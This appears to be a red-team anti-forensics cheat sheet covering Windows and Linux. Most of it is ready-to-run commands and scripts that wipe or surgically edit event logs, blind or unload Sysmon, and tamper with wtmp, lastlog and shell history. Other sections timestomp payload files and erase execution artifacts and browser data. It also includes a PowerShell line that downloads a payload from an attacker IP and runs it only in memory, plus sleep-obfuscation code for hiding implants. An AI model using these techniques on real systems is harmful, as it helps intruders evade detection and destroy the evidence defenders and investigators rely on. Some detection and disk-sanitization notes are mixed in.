Anti-Forensics

Anti-forensics techniques for red team operations. Log cleanup, timestomping, event log tampering, secure deletion, memory-only execution, and artifact removal.

#Log Cleanup

#Windows Event Logs

Windows Event Logs are the primary forensic evidence source on a Windows endpoint. Every authentication, process creation, service install, and PowerShell execution is recorded. Clearing an entire log channel is noisy because the act of clearing the Security log creates Event ID 1102 (and Event ID 104 for System log), which itself is forwarded to any SIEM before the clear completes. Selective tampering - removing or modifying individual event records - is preferred because it avoids the clear event entirely and leaves the log looking intact.

Clear individual log channels:

# Clear specific channels
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"

# Query before clearing (know what you are removing)
wevtutil qe Security /c:10 /f:text /rd:true

Clear all event logs in one shot:

# PowerShell one-liner - clears every channel
Get-WinEvent -ListLog * -Force | ForEach-Object { wevtutil cl $_.LogName 2>$null }

# CMD version
for /F "tokens=*" %a in ('wevtutil el') do wevtutil cl "%a" 2>nul

Selective event deletion - Phantom technique: The Phantom technique works by suspending every thread in the EventLog service (svchost.exe hosting the EventLog service), which prevents new events from being written. You can then directly patch the .evtx file on disk, removing specific Event IDs while leaving everything else intact. When threads are resumed, the service continues normally with no gap detection.

# 1. Identify the EventLog service PID
Get-WmiObject Win32_Service -Filter "Name='EventLog'" | Select ProcessId

# 2. Enumerate threads of that process and suspend them
# (requires a tool like Invoke-Phant0m or manual NtSuspendThread calls)
# Phant0m: https://github.com/hlldz/Phant0m
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m

Danderspritz eventlogedit concept: The NSA's Danderspritz framework (leaked by Shadow Brokers) included eventlogedit which performed surgical event record removal from .evtx files. The approach: parse the binary .evtx structure, remove target records, recompute CRC32 checksums and record counts in the file/chunk headers, then write the modified file back. Open-source reimplementations exist (e.g., danderspritz-evtx on GitHub).

Disable specific log channels:

# Disable PowerShell Script Block Logging via registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -Name "EnableScriptBlockLogging" -Value 0

# Disable Sysmon operational log
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /e:false

# Disable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
    -Name "EnableModuleLogging" -Value 0

#Linux Logs

Linux stores logs primarily in /var/log/. Key files: auth.log (or secure on RHEL) records SSH, sudo, and PAM activity; syslog (or messages) captures general system events; wtmp/utmp/btmp are binary files that record login sessions (used by who, w, last, lastb). An investigator's first stop is always these files, so targeted cleanup is essential.

Selective line removal from text logs:

# Remove all lines containing your IP from auth.log
sed -i '/10.10.14.5/d' /var/log/auth.log

# Remove lines matching a specific SSH session
sed -i '/sshd.*10.10.14.5/d' /var/log/auth.log
sed -i '/sshd.*10.10.14.5/d' /var/log/syslog

# Remove lines from a specific time window
sed -i '/Mar 29 14:2[0-9]/d' /var/log/auth.log

# Safer: create cleaned copy, check it, then replace
grep -v '10.10.14.5' /var/log/auth.log > /tmp/clean.log
cat /tmp/clean.log > /var/log/auth.log
rm /tmp/clean.log

utmp/wtmp/btmp manipulation:

# View current login records
utmpdump /var/log/wtmp

# Dump to text, edit, re-encode
utmpdump /var/log/wtmp > /tmp/wtmp.txt
# Edit /tmp/wtmp.txt - remove your login entries
utmpdump -r /tmp/wtmp.txt > /var/log/wtmp
rm /tmp/wtmp.txt

# Same for btmp (failed logins)
utmpdump /var/log/btmp > /tmp/btmp.txt
# Remove entries
utmpdump -r /tmp/btmp.txt > /var/log/btmp

lastlog tampering:

# lastlog is a fixed-size sparse file indexed by UID
# View your entry
lastlog -u $(whoami)

# Zero out your entry (quick and dirty)
# Each record is 292 bytes, offset = UID * 292
uid=$(id -u)
dd if=/dev/zero of=/var/log/lastlog bs=292 count=1 seek=$uid conv=notrunc 2>/dev/null

Shell history evasion:

# Disable history for current session
unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0

# Space prefix trick (depends on HISTCONTROL=ignorespace or ignoreboth)
 whoami          # leading space - not recorded if HISTCONTROL is set

# Kill history before exit
history -c && history -w

# Remove specific commands from history
history -d <line_number>

# Nuclear option - clear and prevent writing
cat /dev/null > ~/.bash_history && history -c && exit

# Disable history permanently for this shell
set +o history
# ... do your work ...
set -o history

journalctl log rotation/vacuum:

# Flush and rotate journal logs
journalctl --flush --rotate

# Vacuum logs older than 1 second (effectively removes all)
journalctl --vacuum-time=1s

# Vacuum to specific size
journalctl --vacuum-size=1M

# Remove journal files directly (if persistent)
rm -rf /var/log/journal/*
systemctl restart systemd-journald

#Automated Log Management Tools

Manual log clearing is error-prone and easy to miss artifacts. Dedicated tools automate the process and cover multiple log sources in a single run.

hidemylogs () - Automated log clearing and anti-forensics tool by Aurelien FERMAN. Covers multiple Linux log sources (auth, syslog, journal, wtmp/btmp/utmp, shell history) in a single execution. Useful during authorized red team engagements for systematic track cleanup rather than ad-hoc sed commands.

BleachBit (cross-platform):

# Linux - clean common log and cache artifacts
bleachbit --clean system.cache system.tmp system.trash \
    bash.history system.localizations journald.clean

# Preview what would be cleaned
bleachbit --preview system.cache system.tmp bash.history
# Windows - run from CLI
& "C:\Program Files (x86)\BleachBit\bleachbit_console.exe" `
    --clean system.tmp windows.event_logs windows.prefetch

Log tampering vs log clearing: Clearing all logs is fast but forensically obvious (empty logs with recent creation timestamps raise immediate red flags). Selective tampering (removing only your entries while preserving everything else) is stealthier. Preserve file modification times with touch -r after editing. The ideal approach: tamper selectively, then restore mtime/atime on the log file, and ensure the file size change is plausible.

#Sysmon Evasion

Sysmon is Microsoft's most powerful endpoint logging tool. It monitors process creation, network connections, file creation, registry changes, DNS queries, and more. However, Sysmon operates entirely in userland (the driver is a minifilter that feeds events to a userland service), which means it can be blinded or unloaded by an attacker with local admin privileges. The key is to identify Sysmon even when renamed, then either unload its driver, tamper with its config, or blind specific reporting threads.

Unload the Sysmon minifilter driver:

:: Requires admin. The driver name is SysmonDrv by default.
fltMC.exe unload SysmonDrv

:: If renamed, find it first
fltMC.exe
:: Look for the altitude number 385201 - that is always Sysmon

Identify Sysmon (even when renamed):

# Check for the minifilter by altitude (385201 is registered to Sysmon)
fltMC.exe instances | findstr "385201"

# Check service descriptions
Get-Service | Where-Object { $_.DisplayName -like "*System Monitor*" }

# Check loaded drivers
Get-WmiObject Win32_SystemDriver | Where-Object { $_.PathName -like "*Sysmon*" }

# Check the registry for Sysmon's config hash
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv" /s

# Detect by image hash - check all services against known Sysmon hashes

Extract Sysmon configuration (find blind spots):

:: If Sysmon binary is accessible (even renamed)
sysmon.exe -c
:: Or the renamed binary
C:\Windows\renamed.exe -c

:: Parse the config from the registry directly
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Sysmon\Parameters" /v ConfigHash

Patch Sysmon reporting via thread manipulation: Similar to Phantom, identify the Sysmon service process, enumerate its threads (the event-reporting threads specifically), and suspend them. This blinds Sysmon without stopping the service or unloading the driver - the service appears running and healthy but generates no events.

# Use a tool like Invoke-Phant0m adapted for the Sysmon service
# Or manually: find Sysmon PID, enumerate threads, suspend the
# ones responsible for ETW event reporting
$svc = Get-WmiObject Win32_Service -Filter "Name='Sysmon64'"
$pid = $svc.ProcessId
# Then use NtSuspendThread on each thread in that process

#Timestomping

#Windows Timestomping

NTFS stores two sets of timestamps per file. $STANDARD_INFORMATION (SI) contains the timestamps that dir, Explorer, and most tools display - these are easily modified from userland. $FILE_NAME (FN) timestamps are stored in the MFT directory index and are only updated by the Windows kernel during file operations (rename, move, create). Most timestomping tools only modify SI timestamps. A forensic examiner comparing SI vs FN timestamps (or checking the $UsnJrnl and $LogFile) can detect the manipulation when FN timestamps are newer than SI timestamps - a condition that should never occur naturally.

PowerShell native timestomping:

# Set all three user-visible timestamps on a file
$file = Get-Item "C:\Users\Public\payload.exe"
$file.CreationTime = "01/15/2024 08:30:00"
$file.LastWriteTime = "01/15/2024 08:30:00"
$file.LastAccessTime = "01/15/2024 08:30:00"

# Copy timestamps from a legitimate file
$ref = Get-Item "C:\Windows\System32\notepad.exe"
$target = Get-Item "C:\Users\Public\payload.exe"
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime

NtSetInformationFile for $SI timestamps: This is the lower-level API call that directly modifies $STANDARD_INFORMATION in the MFT. The PowerShell .NET properties ultimately call this, but using it via P/Invoke gives finer control.

// C# - NtSetInformationFile to modify $SI timestamps
[DllImport("ntdll.dll")]
static extern int NtSetInformationFile(
    IntPtr FileHandle,
    out IO_STATUS_BLOCK IoStatusBlock,
    ref FILE_BASIC_INFORMATION FileInfo,
    int Length,
    int FileInformationClass // FileBasicInformation = 4
);

FILE_BASIC_INFORMATION fbi = new FILE_BASIC_INFORMATION();
fbi.CreationTime = targetTime.ToFileTime();
fbi.LastWriteTime = targetTime.ToFileTime();
fbi.LastAccessTime = targetTime.ToFileTime();
fbi.ChangeTime = targetTime.ToFileTime();  // ChangeTime not visible in Explorer
NtSetInformationFile(hFile, out iosb, ref fbi, Marshal.SizeOf(fbi), 4);

Metasploit timestomp:

# In a Meterpreter session
timestomp "C:\\Users\\Public\\payload.exe" -f "C:\\Windows\\System32\\notepad.exe"
# Or set specific values
timestomp "C:\\Users\\Public\\payload.exe" -c "2024-01-15 08:30:00"
timestomp "C:\\Users\\Public\\payload.exe" -m "2024-01-15 08:30:00"
timestomp "C:\\Users\\Public\\payload.exe" -a "2024-01-15 08:30:00"
timestomp "C:\\Users\\Public\\payload.exe" -e "2024-01-15 08:30:00"
# Blank out timestamps (sets to epoch - obvious but sometimes useful)
timestomp "C:\\Users\\Public\\payload.exe" -b

Cobalt Strike timestomp:

# In a Beacon session - copies timestamps from source to target
timestomp C:\Users\Public\payload.exe C:\Windows\System32\notepad.exe

Detection: SI vs FN comparison: Forensic tools like MFTECmd, Autopsy, or analyzeMFT can parse both $SI and $FN timestamps. If $FN.Created is newer than $SI.Created, the file has been timestomped - the real creation time is in $FN. The $UsnJrnl also records a CLOSE entry when timestamps are modified, providing another detection vector.

#Linux Timestomping

Linux ext4 tracks three traditional timestamps: atime (last access), mtime (last modification), and ctime (last metadata change). The ctime cannot be set by any standard userland tool - it is updated automatically by the kernel on any inode change. Ext4 also stores crtime (creation/birth time) which is similarly kernel-managed. The touch command can only modify atime and mtime.

touch for mtime/atime:

# Set specific timestamp (YYYYMMDDhhmm.ss format)
touch -t 202401150830.00 /tmp/payload.elf

# Copy timestamps from a reference file
touch -r /usr/bin/ls /tmp/payload.elf

# Set only access time
touch -a -t 202401150830.00 /tmp/payload.elf

# Set only modification time
touch -m -t 202401150830.00 /tmp/payload.elf

# Set timestamp using date string
touch -d "2024-01-15 08:30:00" /tmp/payload.elf

debugfs for ext4 crtime (birth time) modification:

# Find the inode of the target file
ls -i /tmp/payload.elf
# Output: 1234567 /tmp/payload.elf

# Use debugfs to modify crtime (requires unmounted fs or -w on mounted)
# WARNING: dangerous on mounted filesystems - use with caution
debugfs -w /dev/sda1
debugfs: set_inode_field <1234567> crtime 202401150830
debugfs: set_inode_field <1234567> ctime 202401150830
debugfs: quit

# Alternative: use debugfs to view current timestamps
debugfs -R "stat <1234567>" /dev/sda1

Modifying ctime with mount trick:

# ctime cannot be set directly, but this hack works:
# 1. Change system time
date -s "2024-01-15 08:30:00"
# 2. Perform any metadata operation (e.g., chmod)
chmod 755 /tmp/payload.elf
# 3. Restore system time
# (use NTP or manual set)
ntpdate pool.ntp.org

# Note: this is noisy and may break other things on the system

#Secure Deletion

#HDD vs SSD - Why It Matters

Traditional secure deletion (overwrite-in-place) only works reliably on HDDs because the OS controls exactly which physical sectors are written. On SSDs, the Flash Translation Layer (FTL) manages wear leveling, garbage collection, and spare area (overprovisioned blocks). When you overwrite a file on an SSD, the FTL may write the new data to a completely different physical NAND page, leaving the original data intact in a remapped page that is invisible to the OS but recoverable by a forensic lab with JTAG/chip-off access.

Factor HDD SSD
Overwrite reliability High - OS controls physical sectors Low - FTL remaps writes
shred / wipe / srm Effective Unreliable - old data persists in spare area
TRIM N/A Marks pages as stale but does not guarantee zeroing
ATA Secure Erase Writes zeros to all sectors Resets FTL mapping table (vendor-dependent)
NVMe Format N/A Cryptographic erase if supported (best option)
Crypto-erase Works (destroy LUKS header) Works and is the recommended approach
Physical destruction Degaussing + shred Shred/incinerate NAND chips

Bottom line: For SSDs, always encrypt from day zero and destroy the key when done. Post-hoc overwrite tools give a false sense of security on flash storage.

#File Deletion (HDD)

When a file is deleted normally, the operating system removes the directory entry (the filename pointer) and marks the disk clusters as free, but the actual data remains on disk until those clusters are overwritten by new data. This is why forensic tools like Autopsy, FTK, and Scalpel can recover "deleted" files. Secure deletion overwrites the data in place before removing the directory entry. Note: on journaling filesystems (ext4, NTFS), the journal may contain fragments of file data or metadata even after secure deletion - consider wiping the journal or using full-disk encryption.

Linux file deletion (HDD):

# shred - overwrite file with random data then delete
shred -vfz -n 3 /tmp/payload.elf
# -v verbose, -f force permissions, -z add final zero pass, -n 3 = 3 random passes

# shred a directory of files
find /tmp/loot/ -type f -exec shred -vfz -n 3 {} \;

# srm (secure-delete package)
apt install secure-delete
srm -vz /tmp/payload.elf
# -s: Salzburg overwrite mode, -z: final zero pass

# wipe tool
wipe -rfi /tmp/payload.elf
# -r recursive, -f force, -i verbose

# dd overwrite before deletion
dd if=/dev/urandom of=/tmp/payload.elf bs=1 count=$(stat -c%s /tmp/payload.elf) conv=notrunc
rm /tmp/payload.elf

Windows file deletion (HDD):

:: SDelete (Sysinternals) - secure delete of specific files
sdelete64.exe -p 3 C:\Users\Public\payload.exe
:: -p 3 = three overwrite passes

:: PowerShell - overwrite then delete
$path = "C:\Users\Public\payload.exe"
$size = (Get-Item $path).Length
$random = New-Object byte[] $size
(New-Object Random).NextBytes($random)
[IO.File]::WriteAllBytes($path, $random)
Remove-Item $path -Force

#Free Space Wipe

After deleting files normally, their data persists in unallocated clusters. Wiping free space overwrites every unallocated block, destroying any recoverable remnants. This only makes sense on HDDs for the same FTL reasons described above.

# sfill - wipe free disk space (secure-delete package)
sfill -v /mountpoint/
# Writes patterns to a temp file until the partition is full, then removes it

# dd approach - fill free space with random data
dd if=/dev/urandom of=/mountpoint/.wipe_tmp bs=4M status=progress; rm -f /mountpoint/.wipe_tmp

# zerofree - for ext2/3/4 on unmounted partitions
zerofree -v /dev/sda1
:: Windows - cipher /w wipes free space (3-pass: 0x00, 0xFF, random)
cipher /w:C:\Users\Public\

:: SDelete - clean free space on a drive
sdelete64.exe -p 3 -z C:

#Full Disk Wipe (HDD)

For decommissioning or sanitizing an entire drive. These commands destroy all data, partitions, and filesystems.

# Random overwrite (single pass is sufficient per NIST 800-88)
dd if=/dev/urandom of=/dev/sdX bs=4M status=progress

# nwipe - DBAN successor, interactive ncurses interface
# Supports DoD 5220.22-M, Gutmann, PRNG stream, and other methods
nwipe /dev/sdX

# nwipe with specific method (non-interactive)
nwipe --autonuke --method=dodshort /dev/sdX

#SSD Secure Erase

Traditional overwrite does not work on SSDs. Use controller-level erase commands instead.

ATA Secure Erase (SATA SSDs):

# Check if the drive supports secure erase
hdparm -I /dev/sdX | grep -i erase
# Look for: "supported: enhanced erase" and time estimate

# Step 1: Set a temporary password (required by ATA spec)
hdparm --user-master u --security-set-pass Erase /dev/sdX

# Step 2: Issue secure erase
hdparm --user-master u --security-erase Erase /dev/sdX
# Or enhanced erase (also erases reallocated sectors)
hdparm --user-master u --security-erase-enhanced Erase /dev/sdX

# Verify drive is unlocked after erase
hdparm -I /dev/sdX | grep -i security

NVMe Format (NVMe SSDs):

# nvme-cli must be installed
# Secure Erase Setting (ses): 1=user data erase, 2=cryptographic erase
nvme format /dev/nvme0n1 --ses=2
# ses=2 is cryptographic erase - destroys the encryption key
# This is instant and the most reliable method for NVMe

# Sanitize command (more thorough than format)
nvme sanitize /dev/nvme0n1 --sanact=4
# sanact: 1=exit failure, 2=block erase, 3=overwrite, 4=crypto erase

blkdiscard (Linux generic):

# Issue TRIM/discard to entire device (marks all blocks as unused)
blkdiscard /dev/sdX

# Secure discard (asks controller to physically erase)
blkdiscard --secure /dev/sdX

# Note: secure discard support is vendor-dependent
# Verify with: cat /sys/block/sdX/queue/discard_max_bytes

#Crypto-Erase (Best Practice)

The recommended approach for both HDD and SSD: encrypt the entire disk from day zero. When you need to "delete" the data, destroy the encryption key. Without the key, the ciphertext is unrecoverable regardless of what data remains on the physical media.

LUKS (Linux):

# Setup: encrypt from the start of the engagement
cryptsetup luksFormat /dev/sdX
cryptsetup open /dev/sdX secret
mkfs.ext4 /dev/mapper/secret

# Crypto-erase: destroy all key slots (instant, irreversible)
cryptsetup luksErase /dev/sdX
# This wipes the LUKS header - all data becomes unrecoverable

# Alternative: overwrite just the LUKS header (first 16 MiB)
dd if=/dev/urandom of=/dev/sdX bs=1M count=16

# Paranoid: luksErase + full device discard
cryptsetup luksErase /dev/sdX
blkdiscard /dev/sdX

BitLocker (Windows):

# Crypto-erase approach: clear protectors then wipe metadata
manage-bde -protectors -delete C:
manage-bde -off C:

# Or: clear TPM (destroys the key binding)
# Run from elevated PowerShell
Clear-Tpm
# Then delete recovery key backups from AD/Azure/USB

# BitLocker recovery key locations to clean:
# - Active Directory (stored in AD DS)
# - Azure AD / Entra ID
# - USB drives
# - Microsoft Account (if consumer)
# - Printed copies

#NIST 800-88 Reference

NIST SP 800-88 Rev. 1 defines three levels of media sanitization. Use this to match your sanitization method to the threat model.

Level Description HDD Method SSD Method
Clear Logical overwrite, protects against simple recovery tools Single pass dd/shred, nwipe ATA Secure Erase, blkdiscard
Purge Resists lab-level recovery, includes spare/remapped areas Secure Erase, degaussing NVMe Format (ses=2), Sanitize command
Destroy Physical destruction, media is unusable Degauss + shred/incinerate Shred/pulverize/incinerate NAND chips

Key NIST guidance: A single overwrite pass is sufficient for Clear on modern HDDs (the old DoD 7-pass standard is obsolete for drives manufactured after 2001). For SSDs, only controller-level commands or crypto-erase qualify as Purge.

#Memory Forensics Evasion

Memory forensics captures a snapshot of RAM, revealing running processes, injected code, network connections, encryption keys, credentials, and loaded modules. Tools like Volatility, Rekall, and WinDbg can analyze memory dumps. Evading memory forensics means minimizing or eliminating your footprint in memory at any given point in time.

Memory-only execution (never touch disk):

# PowerShell - load and execute entirely in memory
$bytes = (New-Object Net.WebClient).DownloadData("http://10.10.14.5/payload.exe")
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,[string[]]@()))
# No file is ever written to disk

Reflective DLL loading: Loads a DLL from a byte array in memory without calling LoadLibrary (which is logged and visible in PEB). The DLL parses its own PE headers, resolves imports, applies relocations, and calls DllMain - all from a memory buffer.

// Concept - reflective loader pseudocode
void* buffer = VirtualAlloc(NULL, dllSize, MEM_COMMIT, PAGE_READWRITE);
memcpy(buffer, dllBytes, dllSize);
ReflectiveLoader(buffer);  // Parses PE, resolves imports, calls entry
// The DLL is now running from an anonymous memory region
// No entry in PEB->Ldr->InLoadOrderModuleList

Sleep obfuscation (encrypt shellcode when idle): Between callbacks, encrypt or garble the beacon shellcode in memory so that a memory scan during the sleep window finds no recognizable signatures.

// Concept: Ekko / Nighthawk style sleep obfuscation
// 1. Set up a ROP chain using timer callbacks
// 2. When sleeping: encrypt the beacon memory region with a random key
//    Change memory protection to RW (not RWX - avoids scanner heuristics)
// 3. Sleep via NtDelayExecution or WaitForSingleObject
// 4. On wake: decrypt, set back to RX, resume execution

// Simplified XOR sleep mask
void SleepObfuscate(BYTE* payload, SIZE_T size, DWORD sleepMs) {
    BYTE key = (BYTE)(GetTickCount() & 0xFF);
    for (SIZE_T i = 0; i < size; i++) payload[i] ^= key;  // Encrypt
    VirtualProtect(payload, size, PAGE_READWRITE, &oldProtect);
    Sleep(sleepMs);
    VirtualProtect(payload, size, PAGE_EXECUTE_READ, &oldProtect);
    for (SIZE_T i = 0; i < size; i++) payload[i] ^= key;  // Decrypt
}

Unmap PE headers after loading: After a DLL or shellcode loader has been mapped into memory, zero out or unmap the PE headers (DOS header, NT headers) to prevent memory scanners from identifying the module by its MZ/PE signature.

// Zero out the PE header after loading
DWORD oldProtect;
VirtualProtect(baseAddress, 0x1000, PAGE_READWRITE, &oldProtect);
SecureZeroMemory(baseAddress, 0x1000);
VirtualProtect(baseAddress, 0x1000, PAGE_READONLY, &oldProtect);

Clear strings from process memory: After using sensitive strings (URLs, IPs, credentials), zero them out immediately.

// Secure string clearing
char* c2_url = "https://evil.com/beacon";
// ... use the string ...
SecureZeroMemory(c2_url, strlen(c2_url));

// In C# / .NET
System.Runtime.InteropServices.Marshal.ZeroFreeBSTR(ptr);
// Or use SecureString instead of regular strings

#Artifact Removal

#Windows Artifacts

Windows creates an extensive trail of forensic artifacts across the filesystem and registry. Each one tells a story: Prefetch records which executables ran, AmCache records program installations and first-run times, ShimCache records program execution compatibility checks, and UserAssist tracks GUI program launches with ROT13-encoded paths.

Prefetch cleanup:

# Prefetch files record the first and last 8 execution times of every .exe
# Location: C:\Windows\Prefetch\
Remove-Item "C:\Windows\Prefetch\PAYLOAD*.pf" -Force
# Or clean all prefetch
Remove-Item "C:\Windows\Prefetch\*.pf" -Force

# Disable Prefetch entirely via registry
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" `
    -Name "EnablePrefetcher" -Value 0

Recent files / RecentDocs:

# Clear RecentDocs registry key
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" -Recurse -Force

# Clear Recent folder
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force -Recurse

# Clear AutomaticDestinations (Jump Lists)
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations\*" -Force
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\CustomDestinations\*" -Force

ShimCache (AppCompatCache): ShimCache is stored in the registry at HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache. It records file path, size, and last modified time for executables that were checked against the compatibility database. Entries are written to the registry on system shutdown, so the current running cache is in memory.

# Clear ShimCache - delete the registry value (takes effect on next reboot)
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" `
    -Name "AppCompatCache" -Force
# Note: this clears ALL entries - forensically obvious

AmCache cleanup:

# AmCache.hve is a registry hive at:
# C:\Windows\appcompat\Programs\Amcache.hve
# It is locked while the system runs. To modify:

# Option 1: Load the hive offline (from a different OS / PE boot)
reg load HKLM\TempAmcache C:\Windows\appcompat\Programs\Amcache.hve
reg delete "HKLM\TempAmcache\Root\InventoryApplicationFile" /f
reg unload HKLM\TempAmcache

# Option 2: Delete the entire file (will be recreated, but history is gone)
# Requires stopping the schedule task that locks it
takeown /f "C:\Windows\appcompat\Programs\Amcache.hve"
del /f "C:\Windows\appcompat\Programs\Amcache.hve"

LNK files (shortcuts):

# LNK files record target path, timestamps, volume serial, MAC address
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*.lnk" -Force

UserAssist: Records GUI program execution in ROT13-encoded registry values under HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist.

# Clear UserAssist for current user
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist"
Get-ChildItem $path | ForEach-Object {
    Remove-Item "$($_.PSPath)\Count" -Recurse -Force -ErrorAction SilentlyContinue
}

BAM/DAM (Background Activity Moderator): Tracks execution times of programs. Present on Windows 10 1709+.

# BAM entries per-user
$bam = "HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings"
Get-ChildItem $bam | ForEach-Object {
    $sid = $_.PSChildName
    Get-ItemProperty "$bam\$sid" | Select-Object *
}
# Delete specific entries
Remove-ItemProperty -Path "$bam\S-1-5-21-..." -Name "\\Device\\HarddiskVolume2\\Users\\Public\\payload.exe"

Complete artifact cleanup script:

# --- Windows Artifact Cleanup Script ---
# Run as Administrator

Write-Host "[*] Clearing Prefetch..."
Remove-Item "C:\Windows\Prefetch\*.pf" -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing Recent files..."
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force -Recurse -ErrorAction SilentlyContinue

Write-Host "[*] Clearing Jump Lists..."
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations\*" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\CustomDestinations\*" -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing UserAssist..."
$ua = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist"
Get-ChildItem $ua -ErrorAction SilentlyContinue | ForEach-Object {
    Remove-Item "$($_.PSPath)\Count" -Recurse -Force -ErrorAction SilentlyContinue
}

Write-Host "[*] Clearing RecentDocs..."
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" -Recurse -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing ShimCache..."
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" `
    -Name "AppCompatCache" -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing temp files..."
Remove-Item "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\Temp\*" -Recurse -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing event logs..."
Get-WinEvent -ListLog * -Force | ForEach-Object { wevtutil cl $_.LogName 2>$null }

Write-Host "[*] Clearing PowerShell history..."
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force -ErrorAction SilentlyContinue

Write-Host "[+] Cleanup complete. Reboot recommended for ShimCache."

#Linux Artifacts

Shell history files:

# Bash
cat /dev/null > ~/.bash_history
history -c

# Zsh
cat /dev/null > ~/.zsh_history

# Python
rm -f ~/.python_history

# MySQL
rm -f ~/.mysql_history

# Less
rm -f ~/.lesshst

# Vim
rm -f ~/.viminfo

# All history files at once
find /home/ -name ".*_history" -exec shred -vfz {} \; 2>/dev/null
find /root/ -name ".*_history" -exec shred -vfz {} \; 2>/dev/null

/tmp cleanup:

# Remove your artifacts from /tmp
rm -rf /tmp/payload* /tmp/loot/ /tmp/.hidden_dir/

# Overwrite then delete
find /tmp/ -user $(whoami) -type f -exec shred -vfz {} \;
find /tmp/ -user $(whoami) -type d -exec rm -rf {} \; 2>/dev/null

Crontab removal:

# Remove your scheduled tasks
crontab -r    # Remove entire crontab for current user
crontab -l    # Verify it is empty

# Remove specific persistence entries
crontab -l | grep -v "payload" | crontab -

# Check system-wide cron
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
# Remove any persistence you planted
rm -f /etc/cron.d/backdoor

SSH artifacts:

# Remove your entries from known_hosts
sed -i '/10.10.14.5/d' ~/.ssh/known_hosts

# Remove authorized_keys entries you added
sed -i '/your_pubkey_identifier/d' ~/.ssh/authorized_keys

# Clean SSH agent
ssh-add -D    # Remove all identities from the agent

# Remove SSH control sockets
rm -f /tmp/ssh-*/agent.*
rm -f ~/.ssh/sockets/*

locate database:

# The locate/mlocate database indexes all filenames on the system
# If your payload was on disk when updatedb ran, it is recorded
rm -f /var/lib/mlocate/mlocate.db
# Or force a rebuild (which will exclude deleted files)
updatedb

# plocate (newer systems)
rm -f /var/lib/plocate/plocate.db

#Browser Artifacts

Browsers store extensive forensic data. Even if you only used a browser to download a tool, the history, cache, download records, cookies, and form data persist until explicitly cleared. Forensic tools like Hindsight (Chrome) and KAPE can extract these artifacts.

Chrome profile locations:

# Linux
~/.config/google-chrome/Default/
~/.config/chromium/Default/

# Windows
%LOCALAPPDATA%\Google\Chrome\User Data\Default\

# macOS
~/Library/Application Support/Google/Chrome/Default/

# Key files:
# History        - SQLite DB - URLs, visits, downloads
# Cookies        - SQLite DB - all cookies
# Login Data     - SQLite DB - saved passwords (encrypted)
# Web Data       - SQLite DB - autofill data
# Preferences    - JSON - settings, extensions
# Cache/         - directory - cached web content
# Local Storage/ - per-site key-value storage
# IndexedDB/     - per-site structured storage

Firefox profile locations:

# Linux
~/.mozilla/firefox/<profile>/

# Windows
%APPDATA%\Mozilla\Firefox\Profiles\<profile>\

# Key files:
# places.sqlite     - browsing history + bookmarks
# cookies.sqlite    - cookies
# formhistory.sqlite - form autofill data
# logins.json       - saved passwords (encrypted)
# key4.db           - master key for password decryption
# sessionstore.jsonlz4 - open tabs (even after crash)

Cleanup commands:

# Linux Chrome - nuclear cleanup
rm -rf ~/.config/google-chrome/Default/History
rm -rf ~/.config/google-chrome/Default/Cookies
rm -rf ~/.config/google-chrome/Default/"Login Data"
rm -rf ~/.config/google-chrome/Default/Cache/*
rm -rf ~/.config/google-chrome/Default/"Local Storage"/*
rm -rf ~/.config/google-chrome/Default/IndexedDB/*

# Linux Firefox
rm -f ~/.mozilla/firefox/*.default*/places.sqlite
rm -f ~/.mozilla/firefox/*.default*/cookies.sqlite
rm -f ~/.mozilla/firefox/*.default*/formhistory.sqlite
rm -rf ~/.mozilla/firefox/*.default*/cache2/*
# Windows Chrome
Remove-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History" -Force
Remove-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" -Force
Remove-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\*" -Recurse -Force
Remove-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Force

